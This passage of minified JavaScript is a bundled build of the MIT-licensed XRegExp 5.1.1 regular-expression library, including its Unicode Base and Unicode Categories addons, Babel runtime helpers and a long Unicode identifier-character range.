_arrayLikeToArray(u,d)}(u))||d&&u&&"number"==typeof u.length){t&&(u=t);var p=0,b=function F(){};return{s:b,n:function n(){return p>=u.length?{done:!0}:{done:!1,value:u[p++]}},e:function e(u){throw u},f:b}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var y,m=!0,A=!1;return{s:function s(){t=t.call(u)},n:function n(){var u=t.next();return m=u.done,u},e:function e(u){A=!0,y=u},f:function f(){try{m||null==t.return||t.return()}finally{if(A)throw y}}}}function _arrayLikeToArray(u,d){(null==d||d>u.length)&&(d=u.length);for(var t=0,a=new Array(d);t<d;t++)a[t]=u[t];return a} -/*! - * XRegExp Unicode Base 5.1.1 - * <xregexp.com> - * Steven Levithan (c) 2008-present MIT License - */t.default=function _default(u){var d={},t={},a=u._dec,c=u._hex,i=u._pad4;function normalize(u){return u.replace(/[- _]+/g,"").toLowerCase()}function charCode(u){var d=/^\\[xu](.+)/.exec(u);return d?a(d[1]):u.charCodeAt("\\"===u[0]?1:0)}function cacheInvertedBmp(t){return d[t]["b!"]||(d[t]["b!"]=function invertBmp(d){var t="",a=-1;return(0,m.default)(u).call(u,d,/(\\x..|\\u....|\\?[\s\S])(?:-(\\x..|\\u....|\\?[\s\S]))?/,(function(u){var d=charCode(u[1]);d>a+1&&(t+="\\u".concat(i(c(a+1))),d>a+2&&(t+="-\\u".concat(i(c(d-1))))),a=charCode(u[2]||u[1])})),a<65535&&(t+="\\u".concat(i(c(a+1))),a<65534&&(t+="-\\uFFFF")),t}(d[t].bmp))}function cacheAstral(u,t){var a=t?"a!":"a=";return d[u][a]||(d[u][a]=function buildAstral(u,t){var a,c,i=d[u],l="";return i.bmp&&!i.isBmpLast&&(l=(0,A.default)(a="[".concat(i.bmp,"]")).call(a,i.astral?"|":"")),i.astral&&(l+=i.astral),i.isBmpLast&&i.bmp&&(l+=(0,A.default)(c="".concat(i.astral?"|":"","[")).call(c,i.bmp,"]")),t?"(?:(?!".concat(l,")(?:[\ud800-\udbff][\udc00-\udfff]|[\0-￿]))"):"(?:".concat(l,")")}(u,t))}u.addToken(/\\([pP])(?:{(\^?)(?:(\w+)=)?([^}]*)}|([A-Za-z]))/,(function(u,a,c){var i="Unknown Unicode token ",l=(0,y.default)(u,6),D=l[0],p=l[1],b=l[2],m=l[3],C=l[4],g=l[5],h="P"===p||!!b,x=-1!==(0,E.default)(c).call(c,"A"),v=normalize(g||C),B=d[v];if("P"===p&&b)throw new SyntaxError("Invalid double negation "+D);if(!d.hasOwnProperty(v))throw new SyntaxError(i+D);if(m&&(!t[m]||!t[m][v]))throw new SyntaxError(i+D);if(B.inverseOf){var w;if(v=normalize(B.inverseOf),!d.hasOwnProperty(v))throw new ReferenceError((0,A.default)(w="".concat("Unicode token missing data "+D," -> ")).call(w,B.inverseOf));B=d[v],h=!h}if(!B.bmp&&!x)throw new SyntaxError("Astral mode required for Unicode token "+D);if(x){if("class"===a)throw new SyntaxError("Astral mode does not support Unicode tokens within character classes");return cacheAstral(v,h)}return"class"===a?h?cacheInvertedBmp(v):B.bmp:"".concat((h?"[^":"[")+B.bmp,"]")}),{scope:"all",optionalFlags:"A",leadChar:"\\"}),u.addUnicodeData=function(a,c){c&&(t[c]={});var i,l=_createForOfIteratorHelper(a);try{for(l.s();!(i=l.n()).done;){var D=i.value;if(!D.name)throw new Error("Unicode token requires name");if(!(D.inverseOf||D.bmp||D.astral))throw new Error("Unicode token has no character data "+D.name);var p=normalize(D.name);if(d[p]=D,c&&(t[c][p]=!0),D.alias){var b=normalize(D.alias);d[b]=D,c&&(t[c][b]=!0)}}}catch(u){l.e(u)}finally{l.f()}u.cache.flush("patterns")},u._getUnicodeProperty=function(u){var t=normalize(u);return d[t]}},d.exports=t.default},{"@babel/runtime-corejs3/core-js-stable/array/from":5,"@babel/runtime-corejs3/core-js-stable/array/is-array":6,"@babel/runtime-corejs3/core-js-stable/instance/concat":7,"@babel/runtime-corejs3/core-js-stable/instance/for-each":9,"@babel/runtime-corejs3/core-js-stable/instance/index-of":10,"@babel/runtime-corejs3/core-js-stable/instance/slice":11,"@babel/runtime-corejs3/core-js-stable/object/define-property":14,"@babel/runtime-corejs3/core-js-stable/symbol":16,"@babel/runtime-corejs3/core-js/get-iterator-method":19,"@babel/runtime-corejs3/helpers/interopRequireDefault":24,"@babel/runtime-corejs3/helpers/slicedToArray":27}],2:[function(u,d,t){"use strict";var a=u("@babel/runtime-corejs3/core-js-stable/object/define-property"),c=u("@babel/runtime-corejs3/helpers/interopRequireDefault");a(t,"__esModule",{value:!0}),t.default=void 0;var i=c(u("../../tools/output/categories")); -/*! - * XRegExp Unicode Categories 5.1.1 - * <xregexp.com> - * Steven Levithan (c) 2010-present MIT License - * Unicode data by Mathias Bynens <mathiasbynens.be> - */t.default=function _default(u){if(!u.addUnicodeData)throw new ReferenceError("Unicode Base must be loaded before Unicode Categories");u.addUnicodeData(i.default)},d.exports=t.default},{"../../tools/output/categories":222,"@babel/runtime-corejs3/core-js-stable/object/define-property":14,"@babel/runtime-corejs3/helpers/interopRequireDefault":24}],3:[function(u,d,t){"use strict";var a=u("@babel/runtime-corejs3/core-js-stable/object/define-property"),c=u("@babel/runtime-corejs3/helpers/interopRequireDefault");a(t,"__esModule",{value:!0}),t.default=void 0;var i=c(u("./xregexp")),l=c(u("./addons/unicode-base")),D=c(u("./addons/unicode-categories"));(0,l.default)(i.default),(0,D.default)(i.default);var p=i.default;t.default=p,d.exports=t.default},{"./addons/unicode-base":1,"./addons/unicode-categories":2,"./xregexp":4,"@babel/runtime-corejs3/core-js-stable/object/define-property":14,"@babel/runtime-corejs3/helpers/interopRequireDefault":24}],4:[function(u,d,t){"use strict";var a=u("@babel/runtime-corejs3/core-js-stable/instance/slice"),c=u("@babel/runtime-corejs3/core-js-stable/array/from"),i=u("@babel/runtime-corejs3/core-js-stable/symbol"),l=u("@babel/runtime-corejs3/core-js/get-iterator-method"),D=u("@babel/runtime-corejs3/core-js-stable/array/is-array"),p=u("@babel/runtime-corejs3/core-js-stable/object/define-property"),b=u("@babel/runtime-corejs3/helpers/interopRequireDefault");p(t,"__esModule",{value:!0}),t.default=void 0;var y=b(u("@babel/runtime-corejs3/helpers/slicedToArray")),m=b(u("@babel/runtime-corejs3/core-js-stable/instance/flags")),A=b(u("@babel/runtime-corejs3/core-js-stable/instance/sort")),E=b(u("@babel/runtime-corejs3/core-js-stable/instance/slice")),C=b(u("@babel/runtime-corejs3/core-js-stable/parse-int")),g=b(u("@babel/runtime-corejs3/core-js-stable/instance/index-of")),h=b(u("@babel/runtime-corejs3/core-js-stable/instance/for-each")),x=b(u("@babel/runtime-corejs3/core-js-stable/object/create")),v=b(u("@babel/runtime-corejs3/core-js-stable/instance/concat"));function _createForOfIteratorHelper(u,d){var t=void 0!==i&&l(u)||u["@@iterator"];if(!t){if(D(u)||(t=function _unsupportedIterableToArray(u,d){var t;if(!u)return;if("string"==typeof u)return _arrayLikeToArray(u,d);var i=a(t=Object.prototype.toString.call(u)).call(t,8,-1);"Object"===i&&u.constructor&&(i=u.constructor.name);if("Map"===i||"Set"===i)return c(u);if("Arguments"===i||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(i))return _arrayLikeToArray(u,d)}(u))||d&&u&&"number"==typeof u.length){t&&(u=t);var p=0,b=function F(){};return{s:b,n:function n(){return p>=u.length?{done:!0}:{done:!1,value:u[p++]}},e:function e(u){throw u},f:b}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var y,m=!0,A=!1;return{s:function s(){t=t.call(u)},n:function n(){var u=t.next();return m=u.done,u},e:function e(u){A=!0,y=u},f:function f(){try{m||null==t.return||t.return()}finally{if(A)throw y}}}}function _arrayLikeToArray(u,d){(null==d||d>u.length)&&(d=u.length);for(var t=0,a=new Array(d);t<d;t++)a[t]=u[t];return a} -/*! - * XRegExp 5.1.1 - * <xregexp.com> - * Steven Levithan (c) 2007-present MIT License - */var B={astral:!1,namespacing:!0},w={},j={},k={},S=[],O="default",R="class",_={default:/\\(?:0(?:[0-3][0-7]{0,2}|[4-7][0-7]?)?|[1-9]\d*|x[\dA-Fa-f]{2}|u(?:[\dA-Fa-f]{4}|{[\dA-Fa-f]+})|c[A-Za-z]|[\s\S])|\(\?(?:[:=!]|<[=!])|[?*+]\?|{\d+(?:,\d*)?}\??|[\s\S]/,class:/\\(?:[0-3][0-7]{0,2}|[4-7][0-7]?|x[\dA-Fa-f]{2}|u(?:[\dA-Fa-f]{4}|{[\dA-Fa-f]+})|c[A-Za-z]|[\s\S])|[\s\S]/},T=/\$(?:\{([^\}]+)\}|<([^>]+)>|(\d\d?|[\s\S]?))/g,I=void 0===/()??/.exec("")[1],P=void 0!==(0,m.default)(/x/);function hasNativeFlag(u){var d=!0;try{if(new RegExp("",u),"y"===u){".."===".a".replace(new RegExp("a","gy"),".")&&(d=!1)}}catch(u){d=!1}return d}var X=hasNativeFlag("d"),L=hasNativeFlag("s"),N=hasNativeFlag("u"),M=hasNativeFlag("y"),U={d:X,g:!0,i:!0,m:!0,s:L,u:N,y:M},G=L?/[^dgimsuy]+/g:/[^dgimuy]+/g;function augment(u,d,t,a,c){var i;if(u.xregexp={captureNames:d},c)return u;if(u.__proto__)u.__proto__=XRegExp.prototype;else for(var l in XRegExp.prototype)u[l]=XRegExp.prototype[l];return u.xregexp.source=t,u.xregexp.flags=a?(0,A.default)(i=a.split("")).call(i).join(""):a,u}function clipDuplicates(u){return u.replace(/([\s\S])(?=[\s\S]*\1)/g,"")}function copyRegex(u,d){var t;if(!XRegExp.isRegExp(u))throw new TypeError("Type RegExp expected");var a=u.xregexp||{},c=function getNativeFlags(u){return P?(0,m.default)(u):/\/([a-z]*)$/i.exec(RegExp.prototype.toString.call(u))[1]}(u),i="",l="",D=null,p=null;return(d=d||{}).removeG&&(l+="g"),d.removeY&&(l+="y"),l&&(c=c.replace(new RegExp("[".concat(l,"]+"),"g"),"")),d.addG&&(i+="g"),d.addY&&(i+="y"),i&&(c=clipDuplicates(c+i)),d.isInternalOnly||(void 0!==a.source&&(D=a.source),null!=(0,m.default)(a)&&(p=i?clipDuplicates((0,m.default)(a)+i):(0,m.default)(a))),u=augment(new RegExp(d.source||u.source,c),function hasNamedCapture(u){return!(!u.xregexp||!u.xregexp.captureNames)}(u)?(0,E.default)(t=a.captureNames).call(t,0):null,D,p,d.isInternalOnly)}function dec(u){return(0,C.default)(u,16)}function getContextualTokenSeparator(u,d,t){var a=u.index+u[0].length,c=u.input[u.index-1],i=u.input[a];return/^[()|]$/.test(c)||/^[()|]$/.test(i)||0===u.index||a===u.input.length||/\(\?(?:[:=!]|<[=!])$/.test(u.input.substring(u.index-4,u.index))||function isQuantifierNext(u,d,t){return(-1!==(0,g.default)(t).call(t,"x")?/^(?:\s|#[^#\n]*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/:/^(?:\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/).test((0,E.default)(u).call(u,d))}(u.input,a,t)?"":"(?:)"}function hex(u){return(0,C.default)(u,10).toString(16)}function isType(u,d){return Object.prototype.toString.call(u)==="[object ".concat(d,"]")}function nullThrows(u){if(null==u)throw new TypeError("Cannot convert null or undefined to object");return u}function pad4(u){for(;u.length<4;)u="0".concat(u);return u}function prepareOptions(u){var d={};return isType(u,"String")?((0,h.default)(XRegExp).call(XRegExp,u,/[^\s,]+/,(function(u){d[u]=!0})),d):u}function registerFlag(u){if(!/^[\w$]$/.test(u))throw new Error("Flag must be a single character A-Za-z0-9_$");U[u]=!0}function runTokens(u,d,t,a,c){for(var i,l,D=S.length,p=u[t],b=null;D--;)if(!((l=S[D]).leadChar&&l.leadChar!==p||l.scope!==a&&"all"!==l.scope||l.flag&&-1===(0,g.default)(d).call(d,l.flag))&&(i=XRegExp.exec(u,l.regex,t,"sticky"))){b={matchLength:i[0].length,output:l.handler.call(c,i,a,d),reparse:l.reparse};break}return b}function setAstral(u){B.astral=u}function setNamespacing(u){B.namespacing=u}function XRegExp(u,d){if(XRegExp.isRegExp(u)){if(void 0!==d)throw new TypeError("Cannot supply flags when copying a RegExp");return copyRegex(u)}if(u=void 0===u?"":String(u),d=void 0===d?"":String(d),XRegExp.isInstalled("astral")&&-1===(0,g.default)(d).call(d,"A")&&(d+="A"),k[u]||(k[u]={}),!k[u][d]){for(var t,a={hasNamedCapture:!1,captureNames:[]},c=O,i="",l=0,D=function prepareFlags(u,d){if(clipDuplicates(d)!==d)throw new SyntaxError("Invalid duplicate regex flag ".concat(d));u=u.replace(/^\(\?([\w$]+)\)/,(function(u,t){if(/[dgy]/.test(t))throw new SyntaxError("Cannot use flags dgy in mode modifier ".concat(u));return d=clipDuplicates(d+t),""}));var t,a=_createForOfIteratorHelper(d);try{for(a.s();!(t=a.n()).done;){var c=t.value;if(!U[c])throw new SyntaxError("Unknown regex flag ".concat(c))}}catch(u){a.e(u)}finally{a.f()}return{pattern:u,flags:d}}(u,d),p=D.pattern,b=(0,m.default)(D);l<p.length;){do{(t=runTokens(p,b,l,c,a))&&t.reparse&&(p=(0,E.default)(p).call(p,0,l)+t.output+(0,E.default)(p).call(p,l+t.matchLength))}while(t&&t.reparse);if(t)i+=t.output,l+=t.matchLength||1;else{var A=XRegExp.exec(p,_[c],l,"sticky"),C=(0,y.default)(A,1)[0];i+=C,l+=C.length,"["===C&&c===O?c=R:"]"===C&&c===R&&(c=O)}}k[u][d]={pattern:i.replace(/(?:\(\?:\))+/g,"(?:)"),flags:b.replace(G,""),captures:a.hasNamedCapture?a.captureNames:null}}var h=k[u][d];return augment(new RegExp(h.pattern,(0,m.default)(h)),h.captures,u,d)}XRegExp.prototype=/(?:)/,XRegExp.version="5.1.1",XRegExp._clipDuplicates=clipDuplicates,XRegExp._hasNativeFlag=hasNativeFlag,XRegExp._dec=dec,XRegExp._hex=hex,XRegExp._pad4=pad4,XRegExp.addToken=function(u,d,t){var a=(t=t||{}).optionalFlags;if(t.flag&®isterFlag(t.flag),a){var c,i=_createForOfIteratorHelper(a=a.split(""));try{for(i.s();!(c=i.n()).done;){registerFlag(c.value)}}catch(u){i.e(u)}finally{i.f()}}S.push({regex:copyRegex(u,{addG:!0,addY:M,isInternalOnly:!0}),handler:d,scope:t.scope||O,flag:t.flag,reparse:t.reparse,leadChar:t.leadChar}),XRegExp.cache.flush("patterns")},XRegExp.cache=function(u,d){return j[u]||(j[u]={}),j[u][d]||(j[u][d]=XRegExp(u,d))},XRegExp.cache.flush=function(u){"patterns"===u?k={}:j={}},XRegExp.escape=function(u){return String(nullThrows(u)).replace(/[\\\[\]{}()*+?.^$|]/g,"\\$&").replace(/[\s#\-,]/g,(function(u){return"\\u".concat(pad4(hex(u.charCodeAt(0))))}))},XRegExp.exec=function(u,d,t,a){var c,i,l="g",D=!1;(c=M&&!!(a||d.sticky&&!1!==a))?l+="y":a&&(D=!0,l+="FakeY"),d.xregexp=d.xregexp||{};var p=d.xregexp[l]||(d.xregexp[l]=copyRegex(d,{addG:!0,addY:c,source:D?"".concat(d.source,"|()"):void 0,removeY:!1===a,isInternalOnly:!0}));return t=t||0,p.lastIndex=t,i=w.exec.call(p,u),D&&i&&""===i.pop()&&(i=null),d.global&&(d.lastIndex=i?p.lastIndex:0),i},XRegExp.forEach=function(u,d,t){for(var a,c=0,i=-1;a=XRegExp.exec(u,d,c);)t(a,++i,u,d),c=a.index+(a[0].length||1)},XRegExp.globalize=function(u){return copyRegex(u,{addG:!0})},XRegExp.install=function(u){u=prepareOptions(u),!B.astral&&u.astral&&setAstral(!0),!B.namespacing&&u.namespacing&&setNamespacing(!0)},XRegExp.isInstalled=function(u){return!!B[u]},XRegExp.isRegExp=function(u){return"[object RegExp]"===Object.prototype.toString.call(u)},XRegExp.match=function(u,d,t){var a=d.global&&"one"!==t||"all"===t,c=(a?"g":"")+(d.sticky?"y":"")||"noGY";d.xregexp=d.xregexp||{};var i=d.xregexp[c]||(d.xregexp[c]=copyRegex(d,{addG:!!a,removeG:"one"===t,isInternalOnly:!0})),l=String(nullThrows(u)).match(i);return d.global&&(d.lastIndex="one"===t&&l?l.index+l[0].length:0),a?l||[]:l&&l[0]},XRegExp.matchChain=function(u,d){return function recurseChain(u,t){var a=d[t].regex?d[t]:{regex:d[t]},c=[];function addMatch(u){if(a.backref){var d="Backreference to undefined group: ".concat(a.backref),t=isNaN(a.backref);if(t&&XRegExp.isInstalled("namespacing")){if(!u.groups||!(a.backref in u.groups))throw new ReferenceError(d)}else if(!u.hasOwnProperty(a.backref))throw new ReferenceError(d);var i=t&&XRegExp.isInstalled("namespacing")?u.groups[a.backref]:u[a.backref];c.push(i||"")}else c.push(u[0])}var i,l=_createForOfIteratorHelper(u);try{for(l.s();!(i=l.n()).done;){var D=i.value;(0,h.default)(XRegExp).call(XRegExp,D,a.regex,addMatch)}}catch(u){l.e(u)}finally{l.f()}return t!==d.length-1&&c.length?recurseChain(c,t+1):c}([u],0)},XRegExp.replace=function(u,d,t,a){var c=XRegExp.isRegExp(d),i=d.global&&"one"!==a||"all"===a,l=(i?"g":"")+(d.sticky?"y":"")||"noGY",D=d;c?(d.xregexp=d.xregexp||{},D=d.xregexp[l]||(d.xregexp[l]=copyRegex(d,{addG:!!i,removeG:"one"===a,isInternalOnly:!0}))):i&&(D=new RegExp(XRegExp.escape(String(d)),"g"));var p=w.replace.call(nullThrows(u),D,t);return c&&d.global&&(d.lastIndex=0),p},XRegExp.replaceEach=function(u,d){var t,a=_createForOfIteratorHelper(d);try{for(a.s();!(t=a.n()).done;){var c=t.value;u=XRegExp.replace(u,c[0],c[1],c[2])}}catch(u){a.e(u)}finally{a.f()}return u},XRegExp.split=function(u,d,t){return w.split.call(nullThrows(u),d,t)},XRegExp.test=function(u,d,t,a){return!!XRegExp.exec(u,d,t,a)},XRegExp.uninstall=function(u){u=prepareOptions(u),B.astral&&u.astral&&setAstral(!1),B.namespacing&&u.namespacing&&setNamespacing(!1)},XRegExp.union=function(u,d,t){var a,c,i=(t=t||{}).conjunction||"or",l=0;function rewrite(u,d,t){var i=c[l-a];if(d){if(++l,i)return"(?<".concat(i,">")}else if(t)return"\\".concat(+t+a);return u}if(!isType(u,"Array")||!u.length)throw new TypeError("Must provide a nonempty array of patterns to merge");var D,p=/(\()(?!\?)|\\([1-9]\d*)|\\[\s\S]|\[(?:[^\\\]]|\\[\s\S])*\]/g,b=[],y=_createForOfIteratorHelper(u);try{for(y.s();!(D=y.n()).done;){var m=D.value;XRegExp.isRegExp(m)?(a=l,c=m.xregexp&&m.xregexp.captureNames||[],b.push(XRegExp(m.source).source.replace(p,rewrite))):b.push(XRegExp.escape(m))}}catch(u){y.e(u)}finally{y.f()}var A="none"===i?"":"|";return XRegExp(b.join(A),d)},w.exec=function(u){var d=this.lastIndex,t=RegExp.prototype.exec.apply(this,arguments);if(t){if(!I&&t.length>1&&-1!==(0,g.default)(t).call(t,"")){var a,c=copyRegex(this,{removeG:!0,isInternalOnly:!0});(0,E.default)(a=String(u)).call(a,t.index).replace(c,(function(){for(var u=arguments.length,d=1;d<u-2;++d)void 0===(d<0||arguments.length<=d?void 0:arguments[d])&&(t[d]=void 0)}))}if(this.xregexp&&this.xregexp.captureNames){var i=t;XRegExp.isInstalled("namespacing")&&(t.groups=(0,x.default)(null),i=t.groups);for(var l=1;l<t.length;++l){var D=this.xregexp.captureNames[l-1];D&&(i[D]=t[l])}}else!t.groups&&XRegExp.isInstalled("namespacing")&&(t.groups=void 0);this.global&&!t[0].length&&this.lastIndex>t.index&&(this.lastIndex=t.index)}return this.global||(this.lastIndex=d),t},w.test=function(u){return!!w.exec.call(this,u)},w.match=function(u){if(XRegExp.isRegExp(u)){if(u.global){var d=String.prototype.match.apply(this,arguments);return u.lastIndex=0,d}}else u=new RegExp(u);return w.exec.call(u,nullThrows(this))},w.replace=function(u,d){var t,a,c,i=XRegExp.isRegExp(u);return i?(u.xregexp&&(a=u.xregexp.captureNames),t=u.lastIndex):u+="",c=isType(d,"Function")?String(this).replace(u,(function(){for(var u=arguments.length,t=new Array(u),c=0;c<u;c++)t[c]=arguments[c];if(a){var i;XRegExp.isInstalled("namespacing")?(i=(0,x.default)(null),t.push(i)):(t[0]=new String(t[0]),i=t[0]);for(var l=0;l<a.length;++l)a[l]&&(i[a[l]]=t[l+1])}return d.apply(void 0,t)})):String(nullThrows(this)).replace(u,(function(){for(var u=arguments.length,t=new Array(u),c=0;c<u;c++)t[c]=arguments[c];return String(d).replace(T,replacer);function replacer(u,d,c,i){d=d||c;var l,D,p=isType(t[t.length-1],"Object")?4:3,b=t.length-p;if(d){if(/^\d+$/.test(d)){var y=+d;if(y<=b)return t[y]||""}var m=a?(0,g.default)(a).call(a,d):-1;if(m<0)throw new SyntaxError("Backreference to undefined group ".concat(u));return t[m+1]||""}if(""===i||" "===i)throw new SyntaxError("Invalid token ".concat(u));if("&"===i||0==+i)return t[0];if("$"===i)return"$";if("`"===i)return(0,E.default)(l=t[t.length-1]).call(l,0,t[t.length-2]);if("'"===i)return(0,E.default)(D=t[t.length-1]).call(D,t[t.length-2]+t[0].length);if(i=+i,!isNaN(i)){if(i>b)throw new SyntaxError("Backreference to undefined group ".concat(u));return t[i]||""}throw new SyntaxError("Invalid token ".concat(u))}})),i&&(u.global?u.lastIndex=0:u.lastIndex=t),c},w.split=function(u,d){if(!XRegExp.isRegExp(u))return String.prototype.split.apply(this,arguments);var t,a=String(this),c=[],i=u.lastIndex,l=0;return d=(void 0===d?-1:d)>>>0,(0,h.default)(XRegExp).call(XRegExp,a,u,(function(u){u.index+u[0].length>l&&(c.push((0,E.default)(a).call(a,l,u.index)),u.length>1&&u.index<a.length&&Array.prototype.push.apply(c,(0,E.default)(u).call(u,1)),t=u[0].length,l=u.index+t)})),l===a.length?u.test("")&&!t||c.push(""):c.push((0,E.default)(a).call(a,l)),u.lastIndex=i,c.length>d?(0,E.default)(c).call(c,0,d):c},XRegExp.addToken(/\\([ABCE-RTUVXYZaeg-mopqyz]|c(?![A-Za-z])|u(?![\dA-Fa-f]{4}|{[\dA-Fa-f]+})|x(?![\dA-Fa-f]{2}))/,(function(u,d){if("B"===u[1]&&d===O)return u[0];throw new SyntaxError("Invalid escape ".concat(u[0]))}),{scope:"all",leadChar:"\\"}),XRegExp.addToken(/\\u{([\dA-Fa-f]+)}/,(function(u,d,t){var a=dec(u[1]);if(a>1114111)throw new SyntaxError("Invalid Unicode code point ".concat(u[0]));if(a<=65535)return"\\u".concat(pad4(hex(a)));if(N&&-1!==(0,g.default)(t).call(t,"u"))return u[0];throw new SyntaxError("Cannot use Unicode code point above \\u{FFFF} without flag u")}),{scope:"all",leadChar:"\\"}),XRegExp.addToken(/\(\?#[^)]*\)/,getContextualTokenSeparator,{leadChar:"("}),XRegExp.addToken(/\s+|#[^\n]*\n?/,getContextualTokenSeparator,{flag:"x"}),L||XRegExp.addToken(/\./,(function(){return"[\\s\\S]"}),{flag:"s",leadChar:"."}),XRegExp.addToken(/\\k<([^>]+)>/,(function(u){var d,t,a=isNaN(u[1])?(0,g.default)(d=this.captureNames).call(d,u[1])+1:+u[1],c=u.index+u[0].length;if(!a||a>this.captureNames.length)throw new SyntaxError("Backreference to undefined group ".concat(u[0]));return(0,v.default)(t="\\".concat(a)).call(t,c===u.input.length||isNaN(u.input[c])?"":"(?:)")}),{leadChar:"\\"}),XRegExp.addToken(/\\(\d+)/,(function(u,d){if(!(d===O&&/^[1-9]/.test(u[1])&&+u[1]<=this.captureNames.length)&&"0"!==u[1])throw new SyntaxError("Cannot use octal escape or backreference to undefined group ".concat(u[0]));return u[0]}),{scope:"all",leadChar:"\\"}),XRegExp.addToken(/\(\?P?<((?:[\$A-Z_a-z\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0560-\u0588\u05D0-\u05EA\u05EF-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u0860-\u086A\u0870-\u0887\u0889-\u088E\u08A0-\u08C9\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u09FC\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0AF9\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C80\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D04-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D54-\u0D56\u0D5F-\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u1711\u171F-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1878\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4C\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1C80-\u1C88\u1C90-\u1CBA\u1CBD-\u1CBF\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5\u1CF6\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309B-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u31A0-\u31BF\u31F0-\u31FF\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6EF\uA717-\uA71F\uA722-\uA788\uA78B-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80